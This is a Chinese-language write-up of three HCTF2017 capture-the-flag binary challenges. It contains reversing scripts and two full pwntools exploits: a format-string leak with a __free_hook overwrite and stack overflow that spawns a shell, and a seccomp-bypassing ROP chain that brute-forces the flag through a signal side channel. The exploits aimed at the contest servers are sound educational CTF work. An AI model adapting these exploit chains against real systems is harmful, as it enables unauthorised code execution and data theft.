HCTF2017-BIN-WP

0x00 题目

感觉自己还是太菜了,比赛结束前只做出来了三道题。

Evr_Q (level - 1)

guestbook (level - 2)

babystack (level - 3)

0x01 Evr_Q

程序会先要求输入User

载入到IDA进行分析

但是在进行F5反编译的时候发生了一个错误

Decompilation failure:

413238: positive sp value has been found

解决方法就是先undefine掉函数,再右键选择Code,最后Create function就可以正常反编译了。

可以看到User的输入时保存在全局数组Str里的,然后下面的sub_411316()函数进行User的check

这就是这个函数的主要部分了,我先爆破出第一个循环加密后的字符串,又因为第一个循环本身只用了异或,所以爆破出来之后再循环一次就是正确的User了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned char user[12] = {0xa4,0xa9,0xaa,0xbe,0xbc,0xb9,0xb3,0xa9,0xbe,0xd8,0xbe};
unsigned char str[12];
int i,j,len;
for(i=0;i<11;++i){
for(j=0;j<256;++j){
if(user[i] == (((((i ^ 0x76) - 0x34) ^ 0x80) + 0x2B) ^ j))
str[i] = j;
}
}
len = 11;
for ( i = 0; i < len / 2; ++i ){
str[i] ^= str[len - 1 - i];
str[len - 1 - i] ^= str[i];
str[i] ^= str[len - 1 - i];
}
str[len] = 0;
printf("%s",str);

User验证成功以后,程序又要求输入Start Code ,其实就是flag。

以上就是第二次输入flag的进行加密和验证的地方,最后的解密我也是通过爆破完成的,不算太难,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
int main(){
unsigned char enCodeFinal[36]={
0x1E,0x15,0x02,0x10,0x0D,0x48,0x48,
0x6F,0xDD,0xDD,0x48,0x64,0x63,0xD7,
0x2E,0x2C,0xFE,0x6A,0x6D,0x2A,0xF2,
0x6F,0x9A,0x4D,0x8B,0x4B,0xCA,0xFA,
0x43,0x42,0x17,0x46,0x4F,0x40,0x0B
};
unsigned char input[36];
int i,j,n;
for(i=0;i<7;++i){
input[i] = enCodeFinal[i] ^ 0x76;
}
for(i=7;i<14;++i){
for(j=0;j<256;++j){
n = j ^ 0xad;
n = ((n << 1) & 0xaa) | ((n & 0xaa) >> 1);
if(n == enCodeFinal[i]){
input[i] = j^0x76;
break;
}
}
}
for(i=14;i<21;++i){
for(j=0;j<256;++j){
n = j ^ 0xBE;
n = ((n << 2) & 0xCC) | ((n & 0xCC) >> 2);
if(n == enCodeFinal[i]){
input[i] = j^0x76;
break;
}
}
}
for(i=21;i<28;++i){
for(j=0;j<256;++j){
n = j ^ 0xEF;
n = ((n << 4) & 0xF0) | ((n & 0xF0) >> 4);
if(n == enCodeFinal[i]){
input[i] = j^0x76;
break;
}
}
}
for(i=28;i<35;++i){
input[i] = enCodeFinal[i] ^ 0x76;
}
printf("%s\n",input);
return 0;
}

其实这个程序还加了一个检测调试器和一些工具进程的回调函数,如果需要动态调试的话,可以把这个函数对应跳表位置的jmp改为ret。:P

0x02 guestbook

1
2
3
4
5
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序主要有三个主要的功能

add() : 添加guest

see() : 打印guest信息 - name和phone

del() : 删除guest

add()主要代码如下:

这里进行两次输入,输入name和phone,name会保存在bss上,phone会额外malloc一块内存进行保存。而且两个输入都有长度限制,而且phone还会通过_ctype_b_loc()对字符类型进行检测,无法输入英文字母。

del():

流程比较简单:guest标志位置0 -> name字段置0 -> free掉phone的内存 -> phone的指针置null

see():

这里通过snprintf()和puts()对guest的信息进行打印,snprintf()通过格式控制先将信息打印到栈上,puts()再将这些信息统一进行输出。

那这里就有一个问题,snprintf()和printf()一样存在格式化字符串漏洞。

那我们就已经get到了一个格式化字符串的漏洞了。

思路:

程序保护全开,通过写GOT表肯定不可能了,于是我决定写__free_hook,但是刚开始想写一个one_gadget完事,结果发现三个one_gadget都没法用,于是我在程序段找了一个栈溢出的地方,写到那里去,之后通过泄漏text段地址和canary来通过栈溢出完成攻击。

EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/python
from pwn import *
import roputils
#--------------------Setting------------------------
EXCV = './guestbook'
HOST = '47.100.64.171'
PORT = 20002
ENV = {"LD_PRELOAD":"./libc.so.6"}
context(log_level='debug')
e = ELF(EXCV)
LOCAL = 1
REMOTE = 0
if LOCAL:
io = process(EXCV,env = ENV)
libc = e.libc
if REMOTE:
io = remote(HOST,PORT)
libc = ELF('libc.so.6')
#--------------------Function-----------------------
def menu():
io.recvuntil('your choice:\n')
def add(name,phone):
io.sendline('1')
io.recvuntil('your name?\n')
io.send(name)
io.recvuntil('your phone?\n')
io.send(phone)
menu()
def see(index):
io.sendline('2')
io.recvuntil('Plz input the guest index:\n')
io.sendline(str(index))
def delete(index):
io.sendline('3')
io.recvuntil('Plz input the guest index:\n')
io.sendline(str(index))
menu()
def exit():
io.sendline('4')
#---------------------Data-------------------------
fmtPre_pad = 3
fmt_off = 8
leak_libc_off = 0x1b0da7
malloc_hook_off = 0x1b0768
free_hook_off = 0x1b18b0
one_gadget_off = 0x3a819 #0x5f065 0x5f066
text_off = 0x2e4
system_off = libc.symbols['system']
sh_off = next(libc.search('/bin/sh'))
#---------------------Code-------------------------
menu()
name = '%3$p'
phone = '1'*16
#gdb.attach(io)
add(name,phone)
see(0)
io.recvuntil('the name:')
leak_libc = io.recvn(10)
leak_libc = eval(leak_libc)
libc_base = leak_libc - leak_libc_off
free_hook = libc_base + free_hook_off
one_gadget = libc_base + one_gadget_off
system = libc_base + system_off
sh = libc_base + sh_off
log.success("libc base : " + hex(libc_base))
log.success("free hook : "+hex(free_hook))
log.success("one gadget : "+hex(one_gadget))
log.success("system : "+hex(system))
log.success("sh : "+hex(sh))
name = '%p%69$p'
add(name,phone)
see(1)
io.recvuntil('the name:')
leak_text = eval(io.recvn(10))
hook_text = leak_text - text_off
canary = eval(io.recvline())
log.success('hook text : '+hex(hook_text))
log.success('canary : '+hex(canary))
delete(1)
one_gadget_1 = hook_text % 0x10000
one_gadget_2 = hook_text / 0x10000
print one_gadget_1
print one_gadget_2
name = 'a'*fmtPre_pad
name += p32(free_hook+2)
name += '%'+str(one_gadget_2 - len(name))+'c%8$hn'
phone = '1'*0x10
add(name,phone)
name = 'a'*fmtPre_pad
name += p32(free_hook)
name += '%'+str(one_gadget_1 - len(name))+'c%8$hn'
phone = '1'*0x10
add(name,phone)
see(1)
menu()
see(2)
menu()
io.sendline('3')
io.recvuntil('Plz input the guest index:\n')
io.sendline('0')
payload = '0'*4
payload += p32(canary)
payload += 'a'*(8+4)
payload += p32(system)
payload += p32(sh)*2
io.sendline(payload)
io.interactive()
#flag = hctf{530b8b4d008b764671a12361e8edde30a54b35b739e6e640b5e2a0a0cc9dd701}

0x03 babystack

1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

很巧的是pwnable.tw上也有一道题叫babystack,而且对于这两道题我最后的解题思想也是基本一致的。

程序功能很简单,直接看main的代码

程序可以接受两次输入,第一次可以接受一个指针的值,之后会有一个printf函数将指针指向的内容以%lld格式打印出来。

再之后会进入一个我重命名的叫load_filter的函数,这个函数的作用就是创建一个系统调用白名单,这份白名单里有:

read()

open()

exit()

其他系统调用被调用时,内核会向进程发送SIGSYS信号并终止进程。

这个函数完成之后会进入下一个函数(也是我重命名过的),这个函数就可以进行栈溢出。

但是这里有一个问题就是,由于系统调用被禁用了,我们没有办法正常启shell。

思路:

这时候有两个思路:

使过滤失效或者将execve加入到白名单中

利用仅有的三个系统调用获取flag

刚开始我选择将重点放在过滤上,选择了第一种思路,走了很多弯路。因为我后来调试发现用来将过滤规则载入内核的load函数也是被禁用的状态。

于是后来我选择了第二种思路。

先通过open()打开flag文件,再通过read()将内容读入内存,再找一个同时带有cmp和跳转到一个被禁用的系统调用前的je或jnz的这么一个gadget(有点难懂么?XD)。

由于跳到其他系统调用时进程接收到的信号时SIGSYS,而程序因为无效返回地址终止时接收到的信号是SIGSEGV

这样我们就能对内存中的flag内容进行爆破了。

EXP:

由于题目特殊性,exp看看思路就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/python
from pwn import *
import roputils
#--------------------Setting------------------------
EXCV = './babystack'
HOST = '47.100.64.113'
PORT = 20001
ENV = {"LD_PRELOAD":"./libc.so.6"}
context(log_level='debug')
e = ELF(EXCV)
LOCAL = 0
REMOTE = 1
if LOCAL:
io = process(EXCV,env = ENV)
libc = e.libc
if REMOTE:
io = remote(HOST,PORT)
libc = ELF('libc.so.6')
#--------------------Function-----------------------
#---------------------Data-------------------------
seccomp_start = 0x400A5F
start = 0x400930
puts_got = e.got['puts']
read_plt = e.plt['read']
puts_plt = e.plt['puts']
puts_off = libc.symbols['puts']
system_off = libc.symbols['system']
sh_off = next(libc.search('/bin/sh'))
write_off = libc.symbols['write']
open_off = libc.symbols['open']
main_arena_top_off = 0x3c4b78
top_base_off = 0xbe0
heap_exit_off = 0x1d0
rule_execve = 0x0000ffff0000003b
pop_rdi_ret_off = 0x0000000000021102
pop_rsi_ret_off = 0x00000000000202e8
pop_rdx_ret_off = 0x0000000000001b92
pop_rcx_ret_off = 0x00000000000d20a3
pop_rax_ret_off = 0x0000000000033544
pop_rbx_ret_off = 0x000000000002a69a
cmp_cl_rsi_off = 0xd72ce #cmp cl, byte ptr [rsi] ; je 0xd726d ; pop rbx ; ret
cmp_rax_bl_off = 0x0000000000138e89 #cmp byte ptr [rax], bl ; je 0x138e94 ; ret
bss = 0x601700
fd = 3
junk = 0;
filename = bss
flag = bss+0x100
#---------------------Code-------------------------
#gdb.attach(io)
flag_get = "hctf{9b03043a4ca1a9cd309790133c40be2729b101276dfdb42cfeba4e3d4efa7f96}"
#刚开始时候的 flag_get 应该设置为 ""
len_flag = len(flag_get)#保存这个长度的原因是flag比较长,脚本又容易崩,这样可以保证每次开始的时候可以接着上一次跑。
for i in xrange(255):
for char in range(32,128):
io.recvuntil('chance\n')
io.sendline(str(puts_got))
puts = io.recvline()
puts = int(puts)
libc_base = puts - puts_off
pop_rdi = libc_base + pop_rdi_ret_off
pop_rsi = libc_base + pop_rsi_ret_off
pop_rdx = libc_base + pop_rdx_ret_off
pop_rcx = libc_base + pop_rcx_ret_off
pop_rax = libc_base + pop_rax_ret_off
pop_rbx = libc_base + pop_rbx_ret_off
cmp_cl_rsi = libc_base + cmp_cl_rsi_off
cmp_bl_rax = libc_base + cmp_rax_bl_off
_open = libc_base + open_off
payload = 'a'*0x28
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(16)
payload += p64(read_plt)#input filename
payload += p64(pop_rdi) + p64(filename)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(1)
payload += p64(_open)#open flag
payload += p64(pop_rdi) + p64(fd)
payload += p64(pop_rsi) + p64(flag)
payload += p64(pop_rdx) + p64(0x100)#read flag
payload += p64(read_plt)
payload += p64(pop_rax) + p64(flag+i+len_flag)
payload += p64(pop_rbx) + p64(char)
payload += p64(cmp_bl_rax)
payload += '7o8v' + flag_get#通过附加这个字符串可以实时看到flag的爆破进度
io.sendline(payload)
io.send('flag\x00')
result = io.recvn(12)
if('system' in result):
flag_get += chr(char)
if(chr(char) == '}'):
print "!!!!flag :" + flag_get
raw_input()
break
io.clean()